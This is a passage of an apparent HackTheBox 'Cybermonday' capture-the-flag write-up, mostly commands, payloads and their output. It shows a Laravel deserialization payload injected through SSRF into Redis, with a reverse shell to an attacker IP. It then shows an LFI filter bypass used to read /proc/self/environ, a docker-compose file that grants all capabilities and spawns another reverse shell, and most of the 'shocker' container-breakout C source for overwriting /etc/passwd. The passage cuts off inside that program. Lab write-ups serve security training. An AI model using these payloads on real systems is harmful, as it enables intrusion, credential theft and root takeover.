since i could sign now , i just change my role to admin, and also since this was a JWT type confusion attack , i needed to cahnge the algorith to RS256, otherwise it did not worked
and if i verified the token i got this
now i could create sucesfully the webhook
and after browse it, i could get the SSRF, since i modified the method to get and the location to my box just for testing
with the SSRF i could do an internal port discovery, because when i hitted a url that was alive, it deleays for a bit, otherwise it just get an instant response
then i did not need to go further, because i knewed that redis was running, so i could try to exploit it, however , it was complicated, because it had to operate via http with redis, and the only thing that comes to my mind , is since i could set the method to whatever i wanted, i could use some methods such as SET
, to make
/machines/cybermonday/exploit python3 decrypt.py b'25c6a7ecd50b519b7758877cdc95726f29500d4c|HZ8VuP0AQdIqUJvh3BFO6gG6s7QzBScshGPNMvoR\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'
/machines/cybermonday/exploit python3 decrypt.py
b'25c6a7ecd50b519b7758877cdc95726f29500d4c|HZ8VuP0AQdIqUJvh3BFO6gG6s7QzBScshGPNMvoR\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'
php phpggc -a Laravel/RCE9 system 'bash -c "bash -i >& /dev/tcp/10.10.14.15/4443 0>&1"' O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{S:9:\"\\00*\\00events\";O:25:\"Illuminate\\Bus\\Dispatcher\":5:{S:12:\"\\00*\\00container\";N;S:11:\"\\00*\\00pipeline\";N;S:8:\"\\00*\\00pipes\";a:0:{}S:11:\"\\00*\\00handlers\";a:0:{}S:16:\"\\00*\\00queueResolver\";S:6:\"system\";}S:8:\"\\00*\\00event\";O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":1:{S:10:\"connection\";S:51:\"bash -c \"bash -i >& \/dev\/tcp\/10.10.14.15\/4443 0>&1\"\";}}
php phpggc -a Laravel/RCE9 system 'bash -c "bash -i >& /dev/tcp/10.10.14.15/4443 0>&1"'
O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{S:9:\"\\00*\\00events\";O:25:\"Illuminate\\Bus\\Dispatcher\":5:{S:12:\"\\00*\\00container\";N;S:11:\"\\00*\\00pipeline\";N;S:8:\"\\00*\\00pipes\";a:0:{}S:11:\"\\00*\\00handlers\";a:0:{}S:16:\"\\00*\\00queueResolver\";S:6:\"system\";}S:8:\"\\00*\\00event\";O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":1:{S:10:\"connection\";S:51:\"bash -c \"bash -i >& \/dev\/tcp\/10.10.14.15\/4443 0>&1\"\";}}
so after having the laravel session created the php gadget for deserialization, i could use the redis method SET
to set the value of my laravel_session
equals to the serialized payload, so once i refresh the page in my account, i would load the serialized data, and the application will deserialized and i would gained code execution
but i needed to craft the payload by putting all together
\r\nSET 'laravel_session:JV485LQ2zP8gXbse2gKlRGEDBInEmw7j6dopxXXw' 'O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{S:9:\"\\00*\\00events\";O:25:\"Illuminate\\Bus\\Dispatcher\":5:{S:12:\"\\00*\\00container\";N;S:11:\"\\00*\\00pipeline\";N;S:8:\"\\00*\\00pipes\";a:0:{}S:11:\"\\00*\\00handlers\";a:0:{}S:16:\"\\00*\\00queueResolver\";S:6:\"system\";}S:8:\"\\00*\\00event\";O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":1:{S:10:\"connection\";S:51:\"bash -c \"bash -i >& \/dev\/tcp\/10.10.14.15\/4443 0>&1\"\";}}'\r\n
\r\nSET 'laravel_session:JV485LQ2zP8gXbse2gKlRGEDBInEmw7j6dopxXXw' 'O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{S:9:\"\\00*\\00events\";O:25:\"Illuminate\\Bus\\Dispatcher\":5:{S:12:\"\\00*\\00container\";N;S:11:\"\\00*\\00pipeline\";N;S:8:\"\\00*\\00pipes\";a:0:{}S:11:\"\\00*\\00handlers\";a:0:{}S:16:\"\\00*\\00queueResolver\";S:6:\"system\";}S:8:\"\\00*\\00event\";O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":1:{S:10:\"connection\";S:51:\"bash -c \"bash -i >& \/dev\/tcp\/10.10.14.15\/4443 0>&1\"\";}}'\r\n
in this way, once i reload the main home page with my session , i would gain a shell
lucas@parrot ~/machines/cybermonday nc -nvlp 4443 listening on [any] 4443 ... connect to [10.10.14.15] from (UNKNOWN) [10.10.11.228] 38018 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell www-data@070370e2cdc4:~/html/public$
lucas@parrot ~/machines/cybermonday nc -nvlp 4443
listening on [any] 4443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.228] 38018
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@070370e2cdc4:~/html/public$
unfortunately i landed on a container, so i started looking for something interesting that helped me to scape from here.
it took me a while, but did not found to much stuff, so i went to enumerate other containers, so i downloaded a copy of a port_scaner on bash, and started looking for open ports.
i found some stuff on other containers like the maria db server, which i had creds , so i transfer the port with chisel but i login into the 2 tables, but could not crack the hashes
1 | admin | admin@cybermonday.htb | $2y$10$6kJuFazZjtlrAvBNvg4bpO2fQSunL56QFbodCKG6.Qjw87Z8.fYnG | 1 | NULL | 2023-05-29 04:10:36 | 2023-05-29 04:14:22 | | 2 | test | test@test | $2y$10$T9NnwDhNRqzzslGLSebViOVmhYzfW2zdVY1Vwm9ImOZJQ5hAfumNe | 0 | NULL | 2023-11-26 01:16:16 | 2023-11-26 01:16:16 |
1 | admin | admin@cybermonday.htb | $2y$10$6kJuFazZjtlrAvBNvg4bpO2fQSunL56QFbodCKG6.Qjw87Z8.fYnG | 1
| NULL | 2023-05-29 04:10:36 | 2023-05-29 04:14:22 |
| 2 | test | test@test | $2y$10$T9NnwDhNRqzzslGLSebViOVmhYzfW2zdVY1Vwm9ImOZJQ5hAfumNe | 0
| NULL | 2023-11-26 01:16:16 | 2023-11-26 01:16:16 |
MySQL [webhooks_api]> select * from users; +----+----------+--------------------------------------------------------------+------+ | id | username | password | role | +----+----------+--------------------------------------------------------------+------+ | 1 | admin | $2y$10$Fx8Va.kBE1FO2mVhlWaoDulGdoo9XYKQFDmAPkOjqNyIAtDtUY0lC | user | | 2 | test | $2y$10$u2iThil3fOH9COR6SZG44ukCwQxNMn0vt2kQdu2FPH92BTik24bN2 | user | +----+----------+--------------------------------------------------------------+------+
MySQL [webhooks_api]> select * from users;
+----+----------+--------------------------------------------------------------+------+
| id | username | password | role |
+----+----------+--------------------------------------------------------------+------+
| 1 | admin | $2y$10$Fx8Va.kBE1FO2mVhlWaoDulGdoo9XYKQFDmAPkOjqNyIAtDtUY0lC | user |
| 2 | test | $2y$10$u2iThil3fOH9COR6SZG44ukCwQxNMn0vt2kQdu2FPH92BTik24bN2 | user |
+----+----------+--------------------------------------------------------------+------+
i also found the redis server on another container, but it just had my malicious serialized payload, and nothing else.
then found that there was a container running a service on port 5000, so i transfered that port to see what is going on there
./port_scanner.sh -i 172.18.0.4 -p 12000 172.18.0.4:5000 is open
./port_scanner.sh -i 172.18.0.4 -p 12000
172.18.0.4:5000 is open
./chisel client 10.10.14.15:9001 R:5000:172.18.0.4:5000 2023/11/26 17:23:39 client: Connecting to ws://10.10.14.15:9001 2023/11/26 17:23:39 client: Connected (Latency 75.615666ms)
./chisel client 10.10.14.15:9001 R:5000:172.18.0.4:5000
2023/11/26 17:23:39 client: Connecting to ws://10.10.14.15:9001
2023/11/26 17:23:39 client: Connected (Latency 75.615666ms)
and by doing a scan in my localhost on port 5000, it told me that it was a service called Docker-Registry
lucas@parrot ~/machines/cybermonday/exploit nmap 127.0.0.1 -p 5000 -sCV Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-26 12:23 EST Nmap scan report for localhost (127.0.0.1) Host is up (0.00016s latency). PORT STATE SERVICE VERSION 5000/tcp open http Docker Registry (API: 2.0) |_http-title: Site doesn't have a title.
lucas@parrot ~/machines/cybermonday/exploit nmap 127.0.0.1 -p 5000 -sCV
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-26 12:23 EST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00016s latency).
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
|_http-title: Site doesn't have a title.
so looking at hacktricks, it has some endpoints that i could try to enumerate
first i started looking if i had access to the repositories
curl -s http://127.0.0.1:5000/v2/_catalog | jq . { "repositories": [ "cybermonday_api" ] }
curl -s http://127.0.0.1:5000/v2/_catalog | jq .
{
"repositories": [
"cybermonday_api"
]
}
there was also another tools that i could use to dump the docker registry
it was called Docker Registry Grabber
, so icloned the repo and used it
python3 drg.py http://127.0.0. 1 -p 5000 --list [+] cybermonday_api
python3 drg.py http://127.0.0.
1 -p 5000 --list
[+] cybermonday_api
this was not practicall at all, because if i used the command --dump_all
it dumped the whole container, and i had to extract each .tar by separated and analyzed it, so there was a more simple method
since i could access to the resource of the image, i could have a shell there, so i just did this
lucas@parrot ~/machines/cybermonday/exploit/pe docker run -it 127.0.0.1:5000/cybermonday_api bash root@703a8992b14a:/var/www/html# hostname 703a8992b14a root@703a8992b14a:/var/www/html# whoami root root@703a8992b14a:/var/www/html#
lucas@parrot ~/machines/cybermonday/exploit/pe docker run -it 127.0.0.1:5000/cybermonday_api bash
root@703a8992b14a:/var/www/html# hostname
703a8992b14a
root@703a8992b14a:/var/www/html# whoami
root
root@703a8992b14a:/var/www/html#
in that way, i could enumerate this container more deeply.
after a long time, i realized that here was the source code for the vhost of the webhooks
, and i did not had that, so i copy that and analyze it on my box
docker cp df2c43e12cc4:/var/www/html/ .
docker cp df2c43e12cc4:/var/www/html/ .
i pretty much knewed how it worked, because i was interacting with those endpoints before, but i found another functionality that was not mentioned on the app, and it was called logs.
also, since i have the SNYK plugin, it flagged a possible LFI on the application on that endpoint, so i went straight for it.
<?php namespace app\controllers; use app\helpers\Api; use app\models\Webhook; class LogsController extends Api { public function index($request) { $this->apiKeyAuth(); $webhook = new Webhook; $webhook_find = $webhook->find("uuid", $request->uuid); if(!$webhook_find) { return $this->response(["status" => "error", "message" => "Webhook not found"], 404); } if($webhook_find->action != "createLogFile") { return $this->response(["status" => "error", "message" => "This webhook was not created to manage logs"], 400); } $actions = ["list", "read"]; if(!isset($this->data->action) || empty($this->data->action)) { return $this->response(["status" => "error", "message" => "\"action\" not defined"], 400); } if($this->data->action == "read") { if(!isset($this->data->log_name) || empty($this->data->log_name)) { return $this->response(["status" => "error", "message" => "\"log_name\" not defined"], 400); } } if(!in_array($this->data->action, $actions)) { return $this->response(["status" => "error", "message" => "invalid action"], 400); } $logPath = "/logs/{$webhook_find->name}/"; switch($this->data->action) { case "list": $logs = scandir($logPath); array_splice($logs, 0, 1); array_splice($logs, 0, 1); return $this->response(["status" => "success", "message" => $logs]); case "read": $logName = $this->data->log_name; if(preg_match("/\.\.\//", $logName)) { return $this->response(["status" => "error", "message" => "This log does not exist"]); } $logName = str_replace(' ', '', $logName); if(stripos($logName, "log") === false) { return $this->response(["status" => "error", "message" => "This log does not exist"]); } if(!file_exists($logPath.$logName)) { return $this->response(["status" => "error", "message" => "This log does not exist"]); } $logContent = file_get_contents($logPath.$logName); return $this->response(["status" => "success", "message" => $logContent]); } } }
<?php
namespace app\controllers;
use app\helpers\Api;
use app\models\Webhook;
class LogsController extends Api
{
public function index($request)
{
$this->apiKeyAuth();
$webhook = new Webhook;
$webhook_find = $webhook->find("uuid", $request->uuid);
if(!$webhook_find)
{
return $this->response(["status" => "error", "message" => "Webhook not found"], 404);
}
if($webhook_find->action != "createLogFile")
{
return $this->response(["status" => "error", "message" => "This webhook was not created to manage logs"], 400);
}
$actions = ["list", "read"];
if(!isset($this->data->action) || empty($this->data->action))
{
return $this->response(["status" => "error", "message" => "\"action\" not defined"], 400);
}
if($this->data->action == "read")
{
if(!isset($this->data->log_name) || empty($this->data->log_name))
{
return $this->response(["status" => "error", "message" => "\"log_name\" not defined"], 400);
}
}
if(!in_array($this->data->action, $actions))
{
return $this->response(["status" => "error", "message" => "invalid action"], 400);
}
$logPath = "/logs/{$webhook_find->name}/";
switch($this->data->action)
{
case "list":
$logs = scandir($logPath);
array_splice($logs, 0, 1); array_splice($logs, 0, 1);
return $this->response(["status" => "success", "message" => $logs]);
case "read":
$logName = $this->data->log_name;
if(preg_match("/\.\.\//", $logName))
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
$logName = str_replace(' ', '', $logName);
if(stripos($logName, "log") === false)
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
if(!file_exists($logPath.$logName))
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
$logContent = file_get_contents($logPath.$logName);
return $this->response(["status" => "success", "message" => $logContent]);
}
}
}
the lfi was more exactly here
since it was doing a fileGetContents, but before that it was trying to sanitized the code, but it was missing some stuff.
but first before analyzing this, i needed to reach this point so based on teh code, i had to use the function webhooks to create a webhooks for the logs.
logs
, read and list logsi was missing the api_key that they were defining on the code
so once i added , i could see the logs
and here i could work with the lfi, since it was in the parameter read
, because of the fileGetContents, but i needed to bypass 2 things
../
we can see that in the code they banned that structure
$logName = $this->data->log_name; if(preg_match("/\.\.\//", $logName)) { return $this->response(["status" => "error", "message" => "This log does not exist"]); } $logName = str_replace(' ', '', $logName);
$logName = $this->data->log_name;
if(preg_match("/\.\.\//", $logName))
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
$logName = str_replace(' ', '', $logName);
so it can be bypassed with spaces like this . . / . . /
, and php will read it as it is, also , since affter it does that, it was replacing the
for nothing, i did not need to worry
log
it was doing a stripos
so it was checking if the file had the word log, but here was the mistake, since the file just needed to contain the word log, it did not had to end on log
so i could use anything and bypass it.
finally, after a lot of try error, i found a way to list any file on the box
in taht way, i had the possibility to read any file as root, on the box, but since it was another container("the first container that i landed in"
) i did not had to much stuff to look for, but i remember that since this is Laravel
, all the juice is stored in the environment of the user running the program, and since i had a LFI, i could access to it via /proc/self/environ
so i went for it
it was kind of messy but with a bit of treath, i could make it look better
i could see more stuff, and there was the password for something, so snce i had a user , i tried ssh as himjohn
lucas@parrot ~/machines/cybermonday/exploit ssh john@cybermonday.htb john@cybermonday.htb's password: Linux cybermonday 5.10.0-24-amd64 #1 SMP Debian 5.10.179-5 (2023-08-08) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Nov 26 17:23:16 2023 from 10.10.14.15 john@cybermonday:~$ hostname cybermonday john@cybermonday:~$ whoami john john@cybermonday:~$
lucas@parrot ~/machines/cybermonday/exploit ssh john@cybermonday.htb
john@cybermonday.htb's password:
Linux cybermonday 5.10.0-24-amd64 #1 SMP Debian 5.10.179-5 (2023-08-08) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Nov 26 17:23:16 2023 from 10.10.14.15
john@cybermonday:~$ hostname
cybermonday
john@cybermonday:~$ whoami
john
john@cybermonday:~$
once i was inside , i realized that my home directory was the mount on the docker host, because on teh mnt location on docker, i could see th user.txt, but could nto read it
i first looked for sudo priv and found that my user could run this script on python
john@cybermonday:~$ sudo -l [sudo] password for john: Matching Defaults entries for john on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User john may run the following commands on localhost: (root) /opt/secure_compose.py *.yml
john@cybermonday:~$ sudo -l
[sudo] password for john:
Matching Defaults entries for john on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User john may run the following commands on localhost:
(root) /opt/secure_compose.py *.yml
i looked at the script
#!/usr/bin/python3 import sys, yaml, os, random, string, shutil, subprocess, signal def get_user(): return os.environ.get("SUDO_USER") def is_path_inside_whitelist(path): whitelist = [f"/home/{get_user()}", "/mnt"] for allowed_path in whitelist: if os.path.abspath(path).startswith(os.path.abspath(allowed_path)): return True return False def check_whitelist(volumes): for volume in volumes: parts = volume.split(":") if len(parts) == 3 and not is_path_inside_whitelist(parts[0]): return False return True def check_read_only(volumes): for volume in volumes: if not volume.endswith(":ro"): return False return True def check_no_symlinks(volumes): for volume in volumes: parts = volume.split(":") path = parts[0] if os.path.islink(path): return False return True def check_no_privileged(services): for service, config in services.items(): if "privileged" in config and config["privileged"] is True: return False return True def main(filename): if not os.path.exists(filename): print(f"File not found") return False with open(filename, "r") as file: try: data = yaml.safe_load(file) except yaml.YAMLError as e: print(f"Error: {e}") return False if "services" not in data: print("Invalid docker-compose.yml") return False services = data["services"] if not check_no_privileged(services): print("Privileged mode is not allowed.") return False for service, config in services.items(): if "volumes" in config: volumes = config["volumes"] if not check_whitelist(volumes) or not check_read_only(volumes): print(f"Service '{service}' is malicious.") return False if not check_no_symlinks(volumes): print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.") return False return True def create_random_temp_dir(): letters_digits = string.ascii_letters + string.digits random_str = ''.join(random.choice(letters_digits) for i in range(6)) temp_dir = f"/tmp/tmp-{random_str}" return temp_dir def copy_docker_compose_to_temp_dir(filename, temp_dir): os.makedirs(temp_dir, exist_ok=True) shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml")) def cleanup(temp_dir): subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) shutil.rmtree(temp_dir) def signal_handler(sig, frame): print("\nSIGINT received. Cleaning up...") cleanup(temp_dir) sys.exit(1) if __name__ == "__main__": if len(sys.argv) != 2: print(f"Use: {sys.argv[0]} <docker-compose.yml>") sys.exit(1) filename = sys.argv[1] if main(filename): temp_dir = create_random_temp_dir() copy_docker_compose_to_temp_dir(filename, temp_dir) os.chdir(temp_dir) signal.signal(signal.SIGINT, signal_handler) print("Starting services...") result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) print("Finishing services") cleanup(temp_dir)
#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal
def get_user():
return os.environ.get("SUDO_USER")
def is_path_inside_whitelist(path):
whitelist = [f"/home/{get_user()}", "/mnt"]
for allowed_path in whitelist:
if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
return True
return False
def check_whitelist(volumes):
for volume in volumes:
parts = volume.split(":")
if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
return False
return True
def check_read_only(volumes):
for volume in volumes:
if not volume.endswith(":ro"):
return False
return True
def check_no_symlinks(volumes):
for volume in volumes:
parts = volume.split(":")
path = parts[0]
if os.path.islink(path):
return False
return True
def check_no_privileged(services):
for service, config in services.items():
if "privileged" in config and config["privileged"] is True:
return False
return True
def main(filename):
if not os.path.exists(filename):
print(f"File not found")
return False
with open(filename, "r") as file:
try:
data = yaml.safe_load(file)
except yaml.YAMLError as e:
print(f"Error: {e}")
return False
if "services" not in data:
print("Invalid docker-compose.yml")
return False
services = data["services"]
if not check_no_privileged(services):
print("Privileged mode is not allowed.")
return False
for service, config in services.items():
if "volumes" in config:
volumes = config["volumes"]
if not check_whitelist(volumes) or not check_read_only(volumes):
print(f"Service '{service}' is malicious.")
return False
if not check_no_symlinks(volumes):
print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
return False
return True
def create_random_temp_dir():
letters_digits = string.ascii_letters + string.digits
random_str = ''.join(random.choice(letters_digits) for i in range(6))
temp_dir = f"/tmp/tmp-{random_str}"
return temp_dir
def copy_docker_compose_to_temp_dir(filename, temp_dir):
os.makedirs(temp_dir, exist_ok=True)
shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))
def cleanup(temp_dir):
subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
shutil.rmtree(temp_dir)
def signal_handler(sig, frame):
print("\nSIGINT received. Cleaning up...")
cleanup(temp_dir)
sys.exit(1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Use: {sys.argv[0]} <docker-compose.yml>")
sys.exit(1)
filename = sys.argv[1]
if main(filename):
temp_dir = create_random_temp_dir()
copy_docker_compose_to_temp_dir(filename, temp_dir)
os.chdir(temp_dir)
signal.signal(signal.SIGINT, signal_handler)
print("Starting services...")
result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print("Finishing services")
cleanup(temp_dir)
it was doing a lot of checks for security reasons and then if all the check were valid it will just run docker-compose with a yml file, and create a container based on teh configuration of the yml file, but agian i needed to find a way to create a container in which i could affer the localhost later when i get there.
so lets break down what i could not do
i could not set the container to be a privilege container
def check_no_privileged(services): for service, config in services.items(): if "privileged" in config and config["privileged"] is True: return False return True
def check_no_privileged(services):
for service, config in services.items():
if "privileged" in config and config["privileged"] is True:
return False
return True
i had to mount the contained on the specific path /home/john
def is_path_inside_whitelist(path): whitelist = [f"/home/{get_user()}", "/mnt"] for allowed_path in whitelist: if os.path.abspath(path).startswith(os.path.abspath(allowed_path)): return True return False
def is_path_inside_whitelist(path):
whitelist = [f"/home/{get_user()}", "/mnt"]
for allowed_path in whitelist:
if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
return True
return False
the mount has to be :ro
it means read only, so i could not write there
def check_read_only(volumes): for volume in volumes: if not volume.endswith(":ro"): return False return True
def check_read_only(volumes):
for volume in volumes:
if not volume.endswith(":ro"):
return False
return True
the container can not have symbolic links
def check_no_symlinks(volumes): for volume in volumes: parts = volume.split(":") path = parts[0] if os.path.islink(path): return False return True
def check_no_symlinks(volumes):
for volume in volumes:
parts = volume.split(":")
path = parts[0]
if os.path.islink(path):
return False
return True
then in the main, it just was doing some checks that file exist, and including the functions previosly defined, and finally runns the container with docker-composer
so for creating a container that then allows me to scape without issues, since i could not use priviledge stuff, i could abouse the capabilities, because there were not banned on teh script, so by giving me full capabilities and setting the apparmor to uncofined, i could try different methods to affet the host being inside the container.
version: "3" services: web: image: "cybermonday_api" command: bash -c "bash -i >& /dev/tcp/10.10.14.15/4445 0>&1" volumes: - /home/john:/mnt:ro cap_add: - ALL security_opt: - apparmor:unconfined
version: "3"
services:
web:
image: "cybermonday_api"
command: bash -c "bash -i >& /dev/tcp/10.10.14.15/4445 0>&1"
volumes:
- /home/john:/mnt:ro
cap_add:
- ALL
security_opt:
- apparmor:unconfined
so that was the structure for the container, it was simple, was unsing the only image that we had cybermonday-api
, once loaded it , it give me a shell, since i need to operate from ther, and then i just was including the needs for the creating and for allowing the script to wrok, and finally i was adding full capabilities, and disabling the apparmor
once i loaded the sudo script, i got a root shell on the container
john@cybermonday:~$ sudo /opt/secure_compose.py docker-composer.yml Starting services...
john@cybermonday:~$ sudo /opt/secure_compose.py docker-composer.yml
Starting services...
root@336e0c109bb8:/tmp# whoami root root@336e0c109bb8:/tmp# hostname -i 172.19.0.2
root@336e0c109bb8:/tmp# whoami
root
root@336e0c109bb8:/tmp# hostname -i
172.19.0.2
since i ahd full capabilities, i could try different methods to scape, but one that i found really awesome was to abuse of the CAP_DAC_OVERRIDE
that allows me to overwrite an existing file from the host
in hacktricks page, i could find a program called shoker
that will allow me to overwrite any existing file on teh box , in this case i wanted to add a user with full priviledges , so i used openssl to generate a salted hash , and with teh correct structure overwrite the passwd
#include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <errno.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <dirent.h> #include <stdint.h> // gcc shocker_write.c -o shocker_write // ./shocker_write /etc/passwd passwd struct my_file_handle { unsigned int handle_bytes; int handle_type; unsigned char f_handle[8]; }; void die(const char * msg) { perror(msg); exit(errno); } void dump_handle(const struct my_file_handle * h) { fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, h -> handle_type); for (int i = 0; i < h -> handle_bytes; ++i) { fprintf(stderr, "0x%02x", h -> f_handle[i]); if ((i + 1) % 20 == 0) fprintf(stderr, "\n"); if (i < h -> handle_bytes - 1) fprintf(stderr, ", "); } fprintf(stderr, "};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { int fd; uint32_t ino = 0; struct my_file_handle outh = { .handle_bytes = 8, .handle_type = 1 }; DIR * dir = NULL; struct dirent * de = NULL; path = strchr(path, '/'); // recursion stops if path has been resolved if (!path) { memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); oh -> handle_type = 1; oh -> handle_bytes = 8; return 1; } ++path; fprintf(stderr, "[*] Resolving '%s'\n", path); if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) die("[-] open_by_handle_at"); if ((dir = fdopendir(fd)) == NULL) die("[-] fdopendir"); for (;;) { de = readdir(dir); if (!de) break; fprintf(stderr, "[*] Found %s\n", de -> d_name); if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); ino = de -> d_ino; break; } } fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); if (de) { for (uint32_t i = 0; i < 0xffffffff; ++i) { outh.handle_bytes = 8; outh.handle_type = 1; memcpy(outh.f_handle, & ino, sizeof(ino)); memcpy(outh.f_handle + 4, & i, sizeof(i)); if ((i % (1 << 20)) == 0) fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { closedir(dir); close(fd); dump_handle( & outh); return find_handle(bfd, path, & outh, oh); } } } closedir(dir); close(fd); return 0; } int main(int argc, char * argv[]) { char buf[0x1000]; int fd1, fd2; struct my_file_handle h; struct my_file_handle root_h = { .handle_bytes = 8, .handle_type = 1, .f_handle = { 0x02, 0, 0, 0, 0, 0, 0, 0 } }; fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" "[***] The tea from the 90's kicks your sekurity again. [***]\n" "[***] If you have pending sec consulting, I'll happily [***]\n" "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n"); read(0, buf, 1); // get a FS reference from something mounted in from outside if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) die("[-] open"); if (find_handle(fd1, argv[1], & root_h, & h) <= 0) die("[-] Cannot find valid handle!"); fprintf(stderr, "[!] Got a final handle!\n"); dump_handle( & h); if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) die("[-] open_by_handle"); char * line = NULL; size_t len = 0; FILE * fptr; ssize_t read; fptr = fopen(argv[2], "r"); while ((read = getline( & line, & len, fptr)) != -1) { write(fd2, line, read); } printf("Success!!\n"); close(fd2); close(fd1); return 0; }
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
